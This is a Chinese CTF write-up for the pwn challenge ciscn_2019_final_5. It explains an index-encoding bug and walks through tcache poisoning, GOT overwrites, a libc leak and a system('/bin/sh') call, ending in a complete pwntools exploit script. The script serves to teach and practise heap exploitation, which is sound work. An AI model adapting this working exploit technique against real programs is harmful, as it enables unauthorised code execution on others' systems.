ciscn_2019_final_5

总结

根据本题,学习与收获有:

  • tcache bin的利用都不需要伪造chunk,直接修改tcache chunknext指针即可。但是libc2.27之后的版本加入了检查。
  • tcache bin dup,也不存在检查,当有UAF漏洞的时候,可以直接对tcache chunk多次释放。
  • tcache chunk不会和top_chunk合并。
  • 题目要读仔细,对于一些奇怪的操作,可以复现一下,加快分析速度!

题目分析

checksec

没有开启PIE防护。

函数分析

main

可以看出来,是个很经典的菜单题。

menu

提供三个选择,接下来依次来看

new_note

这个函数要注意以下几点:

  • 输入索引的范围是0~0x10,也就是说最多可以存储17个chunk
  • malloc的范围为0~0x1000
  • 输出了每个chunk地址的低3个字节
  • 0x6020e0存储chunk的指针,但是存储的是输入的idx和分配到的chunk_ptr的或值
  • 外部输入的idx和实际存放在0x6020e0数组的索引并不一致!!
del_note

这里有两点要注意:

  • 外部输入的idx并不是会对应去删除0x6020e0[idx]处的chunk,而是遍历0x6020e0处的数组,对每一个地址ptr & 0xf取出索引,再和外部输入的idx比较,如果一样,就去删除这个地方的chunk
  • 找到索引后,取出的要删除的chunk的地址是通过ptr & 0xfffffffffffffff0计算得到的
edit_note

这里寻找索引和取出chunk的方式和del_note是一样的。

漏洞点

漏洞点就在于很奇怪的计算索引和计算chunk地址的方式,分析这两种计算方式,可以发现:

  • 由于chunk的地址一定是页对齐的,所以分配堆的地址的最后一位肯定是0x?0。这个地址和[0, 0xf]之间的索引取值,对地址前面的值是不影响的,如0x20 | 0xf = 0x2f。因此,这个时候使用ptr & 0xf取索引没问题,使用ptr & 0xf0取原来的chunk指针,也没问题。
  • 但是,如果给的索引是0x10,那么就有问题了。举例说明:假设分配到的chunk_ptr地址的最后一位为0x60,那么按照new_note的存储方式,数组中最后存的地址为0x60 | 0x10 = 0x70。要取出索引,得输入0x70 & 0xf = 0x0,取出的chunk_ptr0x70 & 0xf0 = 0x70。那么如果调用del_noteedit_note,实际上处理的地址不是0x60,而是为0x70
  • 也就是说,如果首先创建0x10idxchunk,调用edit_note的时候,要输入的索引实际不能是0x10,而是0,并且编辑的地址会往高地址移动0x10个字节。这可以修改下一个chunkpre_sizesize域大小

利用思路

步骤:

  • 分配一个chunk A,输入索引为0x10,大小为0x10
  • 分配一个chunk B,输入索引为0x1,大小为0x10
  • 分配一个chunk C,输入索引为0x2,大小为0x10
  • 分配一个chunk D,输入索引为0x3,大小为0x20
  • 分配一个chunk E,输入索引为0x4,大小为0x10,输入内容为/bin/sh\x00
  • 通过edit_note接口,输入索引0,来修改chunk Bsize0x71,这是为了把chunk Cchunk D都囊括进来,制造overlapped chunk
  • 依次释放chunk B chunk Cchunk D
  • 分配一个chunk F,输入索引为0x1,大小为0x60,把刚刚释放那个假的chunk申请回来,并修改已经释放了的chunk Cchunk Dnext指针
  • 利用tcache bin attack分别分配chunk Gfree@got处和chunk Hsetbuf@got处,将free@got覆盖为put@plt,将setbuf@got填为‘a’ * 8。然后调用del_note(chunk H),泄露出atoi函数的地址。
  • 最后利用edit_not接口来修改chunk G,将free@got修改为system地址,最后del_note(chunk E)获取到shell

EXP

调试过程

首先,写好函数,并且也可以定义一个数组,存储chunk地址,模拟0x6020e0数组,同时,保证变化与程序一致。

# x[0]存储低3位和索引的或值,x[1]以及真实的chunk地址
qword_0x6020e0 = [[0, 0]] * 17 def show_qword_0x6020e0():
'''如果RealPtr(真实的chunk地址)和GetPtr(计算取出来的chunk地址)不一样的话,用绿色打印!'''
global qword_0x6020e0
addr = 0x6020e0
for x in qword_0x6020e0:
if x[0] == 0:
continue
fstr = 'Addr:{} StorePtr:{} RealPtr:{} GetPtr:{} GetIdx:{}'.format(hex(addr), hex(x[0]), hex(x[1]), hex(x[0] & 0xfff0),hex(x[0] & 0xf))
if (x[1]) != (x[0] & 0xfff0):
print_green('[*] ' + fstr)
else:
log.info(fstr)
addr += 8 def new_note(idx:int, size:int, content:bytes=b'\x00'):
global io, qword_0x6020e0
assert idx >= 0 and idx <= 0x10
io.sendlineafter("your choice: ", '1')
io.sendlineafter("index: ", str(idx))
io.sendlineafter("size: ", str(size))
io.sendafter("content: ", content)
low_bytes = io.recvline()
log.info('get msg:{}'.format(low_bytes))
low_bytes = low_bytes[12:-1]
low_bytes = int16(low_bytes.decode())
store_low = (low_bytes | idx)
for i in range(0x11):
if qword_0x6020e0[i][0] == 0:
qword_0x6020e0[i] = [store_low, low_bytes]
break
return low_bytes, i def del_note(idx:int):
global io, qword_0x6020e0
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", str(idx))
msg = io.recvline()
count = -1
for x in qword_0x6020e0:
count += 1
if (x[0] & 0xf) == idx:
x[0] = 0
x[1] = 0
break
return msg, count def edit_note(idx:int, content:bytes):
global io
io.sendlineafter("your choice: ", '3')
io.sendlineafter("index: ", str(idx))
io.sendafter("content: ", content)
io.recvuntil("edit success.\n\n")

按照利用思路分配chunk,并打印数组看看:

# get chunk
new_note(0x10, 0x10) # idx 0 chunk A
new_note(0x1, 0x10) # idx 1 chunk B
new_note(0x2, 0x10) # idx 2 chunk C
new_note(0x3, 0x20) # idx 3 chunk D
new_note(0x4, 0x10, b'/bin/sh\x00') # idx 4 chunk E show_qword_0x6020e0() # show array

的确是这样的:

看下堆:

然后修改size域:

# edit and overlap size field
edit_note(0, p64(0) + p64(0x71))

释放这个假chunk

# del_note 1 chunk B and re-malloc it
del_note(1)

重新malloc回来,然后释放chunk C/D,并修改它们的next指针:

new_note(0x1, 0x60) # idx 1 chunk F

 # del_note 2 chunk C and 3 chunk D
del_note(2)
del_note(3) # change the next pointer of freed chunk C and freed chunk D
payload = p64(0) * 3 + p64(0x21) + p64(0x602018) + p64(0) * 2 + p64(0x31) + p64(0x602070)
edit_note(1, payload)

分配到free@gotsetbuf@got,并修改内容:

# tcache attack
new_note(1, 0x10)
new_note(1, 0x20) new_note(2, 0x10, p64(0x400790)) # idx 2, chunk G, change free@got to puts@plt
new_note(3, 0x20, b'a' * 8) # idx 3, chunk H, change setbuf@got to 'aaaaaaaa'

看下数组:

然后泄露并计算system的地址,再看下数组:

# call del_note to leak __libc_atoi address and calculate __libc_system address
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", '3')
msg = io.recvline()
show_qword_0x6020e0() # show array
# edit_note, change free@got to __libc_system
atoi_addr = u64(msg[8:-1] + b'\x00\x00')
LOG_ADDR('atoi_addr', atoi_addr)
system_addr = atoi_addr + 0xedc0
edit_note(10, p64(system_addr) * 2)

注意:要访问chunk G的话,得输入idx0xa

注意,这个时候0x6020110处的会被置空:

修改成功:

最后只需要free chunk E

# get shell
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", '4')

最终exp

from pwn import *

io = process('./ciscn_2019_final_5')

# x[0]存储低3位和索引的或值,x[1]以及真实的chunk地址
qword_0x6020e0 = [[0, 0]] * 17 def show_qword_0x6020e0():
'''如果RealPtr(真实的chunk地址)和GetPtr(计算取出来的chunk地址)不一样的话,用绿色打印!'''
global qword_0x6020e0
addr = 0x6020e0
for x in qword_0x6020e0:
if x[0] == 0:
continue
fstr = 'Addr:{} StorePtr:{} RealPtr:{} GetPtr:{} GetIdx:{}'.format(hex(addr), hex(x[0]), hex(x[1]), hex(x[0] & 0xfff0),hex(x[0] & 0xf))
if (x[1]) != (x[0] & 0xfff0):
print_green('[*] ' + fstr)
else:
log.info(fstr)
addr += 8 def new_note(idx:int, size:int, content:bytes=b'\x00'):
global io, qword_0x6020e0
assert idx >= 0 and idx <= 0x10
io.sendlineafter("your choice: ", '1')
io.sendlineafter("index: ", str(idx))
io.sendlineafter("size: ", str(size))
io.sendafter("content: ", content)
low_bytes = io.recvline()
log.info('get msg:{}'.format(low_bytes))
low_bytes = low_bytes[12:-1]
low_bytes = int16(low_bytes.decode())
store_low = (low_bytes | idx)
for i in range(0x11):
if qword_0x6020e0[i][0] == 0:
qword_0x6020e0[i] = [store_low, low_bytes]
break
return low_bytes, i def del_note(idx:int):
global io, qword_0x6020e0
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", str(idx))
msg = io.recvline()
count = -1
for x in qword_0x6020e0:
count += 1
if (x[0] & 0xf) == idx:
x[0] = 0
x[1] = 0
break
return msg, count def edit_note(idx:int, content:bytes):
global io
io.sendlineafter("your choice: ", '3')
io.sendlineafter("index: ", str(idx))
io.sendafter("content: ", content)
io.recvuntil("edit success.\n\n") # get chunk
new_note(0x10, 0x10) # idx 0 chunk A
new_note(0x1, 0x10) # idx 1 chunk B
new_note(0x2, 0x10) # idx 2 chunk C
new_note(0x3, 0x20) # idx 3 chunk D
new_note(0x4, 0x10, b'/bin/sh\x00') # idx 4 chunk E show_qword_0x6020e0() # show array # edit and overlap size field
edit_note(0, p64(0) + p64(0x71)) # del_note 1 chunk B and re-malloc it
del_note(1)
new_note(0x1, 0x60) # idx 1 chunk F
# del_note 2 chunk C and 3 chunk D
del_note(2)
del_note(3) # change the next pointer of freed chunk C and freed chunk D
payload = p64(0) * 3 + p64(0x21) + p64(0x602018) + p64(0) * 2 + p64(0x31) + p64(0x602070)
edit_note(1, payload) # tcache attack
new_note(1, 0x10)
new_note(1, 0x20) new_note(2, 0x10, p64(0x400790)) # idx 2, chunk G, change free@got to puts@plt
new_note(3, 0x20, b'a' * 8) # idx 3, chunk H, change setbuf@got to 'aaaaaaaa' # call del_note to leak __libc_atoi address and calculate __libc_system address
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", '3')
msg = io.recvline() show_qword_0x6020e0() # show array # edit_note, change free@got to __libc_system
atoi_addr = u64(msg[8:-1] + b'\x00\x00')
LOG_ADDR('atoi_addr', atoi_addr)
system_addr = atoi_addr + 0xedc0
show_qword_0x6020e0()
edit_note(10, p64(system_addr) * 2) # get shell
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", '4') io.interactive()

ciscn_2019_final_5的更多相关文章

随机推荐

  1. Codeforces Round #651 (Div. 2) B. GCD Compression (构造)

    题意:有一个长度为\(2n\)的数组,删去两个元素,用剩下的元素每两两相加构造一个新数组,使得新数组所有元素的\(gcd\ne 1\).输出相加时两个数在原数组的位置. 题解:我们按照新数组所有元素均 ...

  2. PowerShell随笔1---背景

    既然是随笔,那就想到什么说什么,既会分享主题知识,也会分享一些其他技巧和个人学习方法,供交流. 我一般学习一个东西,我都会问几个问题: 这东西是什么? 这东西有什么用,为什么会出现,出现是为了解决什么 ...

  3. SpringBoot整合Swagger初探

    当下的Web项目大都采用前后端分离+分布式微服务的架构.前后端分离式的开发中,前端开发人员要与后端开发人员协商通信接口,约定接口规范.因此对于开发人员来说能够维持一份及时更新且完整全面的API文档会大 ...

  4. Leetcode(257)-二叉树的所有路径

    给定一个二叉树,返回所有从根节点到叶子节点的路径. 说明: 叶子节点是指没有子节点的节点. 示例: 输入: 1 / \ 2 3 \ 5 输出: ["1->2->5", ...

  5. canvas实现简易时钟效果

    代码 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8& ...

  6. HDU 3949 XOR (线性基第k小)题解

    题意: 给出\(n\)个数,求出子集异或第\(k\)小的值,不存在输出-1. 思路: 先用线性基存所有的子集,然后对线性基每一位进行消元,保证只有\(d[i]\)的\(i\)位存在1,那么这样变成了一 ...

  7. Javascript实现"点按钮出随机背景色的"三个DIV

    <!DOCTYPE html> <html> <head> <title>Random_Color-Transformation</title&g ...

  8. Storybook 最新教程

    Storybook 最新教程 Storybook is the most popular UI component development tool for React, Vue, and Angul ...

  9. Web 安全漏洞 All In One

    Web 安全漏洞 All In One Web 安全 & 漏洞 输入输出验证不充分 SQL 注入 XSS self-XSS CSRF 目录穿越 文件上传 代码注入 命令注入 信息漏洞 暴力破解 ...

  10. JavaScript & Atomics

    JavaScript & Atomics Atomics 对象提供了一组静态方法对 SharedArrayBuffer 和 ArrayBuffer 对象进行原子操作. Atomics.add ...